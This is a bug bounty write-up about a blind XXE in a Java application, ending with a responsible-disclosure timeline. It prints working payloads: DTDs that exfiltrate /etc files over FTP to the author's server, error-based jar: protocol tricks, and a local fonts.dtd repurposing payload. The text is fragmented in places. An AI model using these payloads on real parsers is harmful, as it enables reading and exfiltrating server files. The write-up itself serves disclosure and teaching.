Here’s a writeup of an XXE found in the wild on a public bugbounty program.
During my usual recon, I’ve found something very interesting on the “ZOOOOOOOOM” application of
This, just respond with an
"Invalid XML" :eyes:, this caugth my attention very heavily, so I started to test it with my usual
XXE payloads. for my bad luck, I couldn’t get the output of the
XML parser on the page,
The first one was just to check if the
DOCTYPE definition was enable, normally in
java servlets applications, you can
turn off the parse of customs
DOCTYPE's if you want it, but this time (Luckily), it was enable, but just a
DNS request came out of the company, not a
HTTP Request., this allow me to think that a
external entity attack can be exploited.
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://k8tm8ep85umg95uxhsehjpayqpwfk4.burpcollaborator.net/x"> %ext; ]> <r></r>
If everything is working fine for me, it will make a
DNS resolution, and a
HTTP_REQUEST to my
burpcollaborator, but damn, just the
DNS request came.
hmmm … Having this in mind, It’s easy to think that the target is behind a big
Taking a break from this, and thinking a while with a
tea, I remembered a nice
BugBounty writeup from STÖK, where he explain a
XXE, making the parser
fetch something from inside the company.
Well, I tried to do the same, I used a
document upload on another endpoint that I found some time ago, lets name it as:
The fact is that the
upload function, let anyone to upload a
pdf,txt,docx,..., this allow me to fetch it TEMPORALY with a simple
GET REQUEST (world-readable file). If the
parser, trust on
*.company.com, The server will successfully, fetch my own
So I did it, I uploaded a custom
dtd file to the server that will declare a
variable with arbitrary content, then, I’ll try to exfiltrate it.
We can’t fetch anything external with
HTTP requests, so my first aproach, was exfiltrate it via
FTP, using the
xxeserv in GO.
<!ENTITY % payload SYSTEM "file:///etc/redhat-release"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://bbounty.f4d3.io:23/%payload;'>"> %int; %trick;
Sending to the server, the following:
<?xml version="1.0" ?> <!DOCTYPE foo [ <!ENTITY % payload SYSTEM "file:///etc/"> <!ENTITY % dtd SYSTEM "ftp://bbounty.f4d3.io/poc2.txt"> %dtd; %release; ]><foo>ehlo</foo>
The last release, was just to trigger the error on the parser.
btw, I wasn’t getting anything good, just the default password that is using the parser, btw, was the only thing that I needed, Now I knew that was a
Java 1.8> (leaked from the password used by the app.), there’s a big difference on the
XML parsers for
Java 1.8< and
java 1.8>, I know from
HTB and CTF's ❤️ , that this parser can be abused via
induced error :D …
tea, and another couple hours reseaching more about this
xml parser error exceptions, and something very important when talking about
SSRF's, and XXE's: protocols.
After reading everything about the things that I just said for the entire day, I reach this paper, which expose the
JDK context, which is pretty nice, this paper point me to the right direction to exploit this thing, the jar protocol.
The jar:// scheme, is a protocol used by the
JDK to fetch a
jar file (which is simple a
.zip file) over the network, decompress it, and use an entry on the
jar file, with the following syntax:
With this in mind, I can force an error on the
parser, which will try to fetch a
jar file on
jar://</our/desire/file>!/nonimportantthing, with this, the parser will say happy:
- Hey! I cant fetch
Another thing to put on the table… That I didn’t realize inmediatly… I tried to
exfiltrate data over the
ftp… which means that Outbound connections to FTP servers are allowed…, this make everything easier, because we can
evil.dtd file, over the network to our
own ftp server, so, forget about the
file upload thing :laughing:
evil.dtd file, ended up like this:
<!ENTITY % int "<!ENTITY % trick SYSTEM 'jar:%payload;.domainwithoutimportance!/'>"> %int; %trick;
And the request:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % payload SYSTEM "file:///etc/group"> <!ENTITY % ext SYSTEM "ftp://bbounty.f4d3.io/poc2.txt"> %ext; ]> <root></root>
The xml after the
fetch, will end like this
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % payload SYSTEM "file:///etc/group"> <!ENTITY % ext SYSTEM "ftp://bbounty.f4d3.io/poc2.txt"> <!ENTITY % trick SYSTEM "jar:%payload;.domainwithoutimportance!/"> ]> <root></root>
After that I report this issue, I came back to the endpoint to test something that I read while ago, that I missed to try.
Local DTD Files nice article
The main idea of this attack, is to use a local
.dtd file on the server, this allows you to rewrite it, and put your own definitions there while parsing it.
So, I used the same idea to enumerate the files on the server (not the exploit, the
parser oracle), and I found one local interesting
(No such file or directory) thing as an oracle, I could know what
dtd's exists on the filesystem, knowing the dtd file, now I know that I can replace the
constant ENTITY, and the
expr ENTITY, which allows me to craft a exploit that will rewrite it on the fly.
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> <!ENTITY % expr 'aaa)> <!ENTITY % file SYSTEM "file:///etc/group"> <!ENTITY % int "<!ENTITY &#x25; trick SYSTEM 'jar://%file;!/'>"> %int; %trick; <!ELEMENT aa (bb'> %local_dtd; ]> <root></root>
Pwned again, without external interaction !
- Aim for something else than the
server-side port scanning SSRF.
- If you can’t get a free
HTTPrequest, there’s some other options that you can try…
ftp,netdoc,jar,gopher,etc, to other ports too (do not forget
- If it seems weird, you’re probably right :D
- Jan 3th (Discovery)
- Jan 5th Reported
- Jan 6th Requested more info
- Jan 10th Info given
- Jan 13th Triaged as
- Mar 6th Resolved/Fixed ( yay! )